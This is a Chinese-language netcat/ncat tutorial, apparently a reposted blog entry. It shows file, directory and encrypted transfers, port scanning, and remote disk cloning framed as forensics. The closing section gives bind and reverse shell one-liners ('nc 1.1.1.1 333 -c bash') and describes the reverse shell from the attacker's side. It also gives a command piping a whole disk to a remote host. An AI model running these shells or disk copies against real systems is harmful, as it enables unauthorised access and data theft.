Netcat-NC 工具的使用
2021-04-23 22:27
标签：监听 ESS 加密传输 ports 远程复制 cap 包含 end img 远程电子取证的要求就是尽可能不破坏现场，在NC传输文本信息的基础上 传输文件和目录这样： 流媒体服务这样： 端口扫描（简单的） 远程克隆硬盘 远程控制（..反弹shell） NC—与—NCAT • Nc缺乏加密和?份验证的能? • Ncat包含在nmap?工具包中 ncat的管道加密 #不同系统/平台的NC参数功能不尽相同。例如Ubuntu... Netcat-NC 工具的使用 标签：监听 ESS 加密传输 ports 远程复制 cap 包含 end img 原文地址：https://www.cnblogs.com/ethtool/p/12237207.htmlnetcat---网络工具中的“瑞士军刀”（ 小身材，大智慧）
传输文本信息（可实现两台电脑的“聊天”）
root@bogon:~# nc -h
[v1.10-41.1]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e‘; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ‘ftp\-data‘).
对于服务端开启监听;
nc -l -p 4444
nc -l -p 4444 > nc.text
---------------------------
对于客户端开启命令传输：
①直接 nc -nv 192.168.56.134 4444
此时，这输入嘛，服务端就显示嘛。
② 执行命令后，将结果显示在服务端。
ls -l |nc -nv 192.168.56.134 4444
这样命令就显示在远程端了。
③ 远程端想将结果保存下来：
服务端这样：nc -l -p 4444 > nc.text
客户端这样：ls -al |nc -nv 192.168.56.134 4444
root@bogon:~# ps aux |nc -nv 192.168.56.134 4444 -q 1
(UNKNOWN) [192.168.56.134] 4444 (?) open
这个 -q 1 是说命令执行完等1s就退出。
A：nc -lp 333 > 1.mp4
B：nc -nv 1.1.1.1 333 1.mp4 –q 1
或
A：nc -q 1 -lp 333 a.mp4
B： nc -nv 1.1.1.1 333 > 2.mp4
• 传输目录
A：tar -cvf - music/ | nc -lp 333 –q 1
B：nc -nv 1.1.1.1 333 | tar -xvf –
• 加密传文件
A：nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B： mcrypt --flush -Fbq -a rijndael-256 -m ecb 1.1.1.1 333 -q 1
#需要先安装下mcryptA： cat 1.mp4 | nc -lp 3333
B： nc -lp 1.1.1.1 3333 | mplayer -vo x11 -cache 3000 -
#mplayer需要自行安装，也可以其他软件，管道过来播放就行
nc -nvz 1.1.1.1 1-65535 //TCP
nc –nvzu 1.1.1.1 1-102 //UDP
A： nc -lp 333 | dd of=/dev/sda
B： dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
#远程电?子取证，可以将目标服务器硬盘远程复制，或者内存。
正向：
服务器开监听端口并启动bash，客户端来连接。
A：nc -lp 333 -c bash
B：nc 1.1.1.1 333
反向：
服务器开启监听端口等着，客户端来连接启动bash,把自己的bash主动反弹过来
A：nc -lp 333
B：nc 1.1.1.1 333 -c bash
#注：Windows?用户把bash改成cmd
#反向的是攻击端自己开个服务监听，让被害端连过来A：ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B：ncat -nv 1.1.1.1 333 --ssl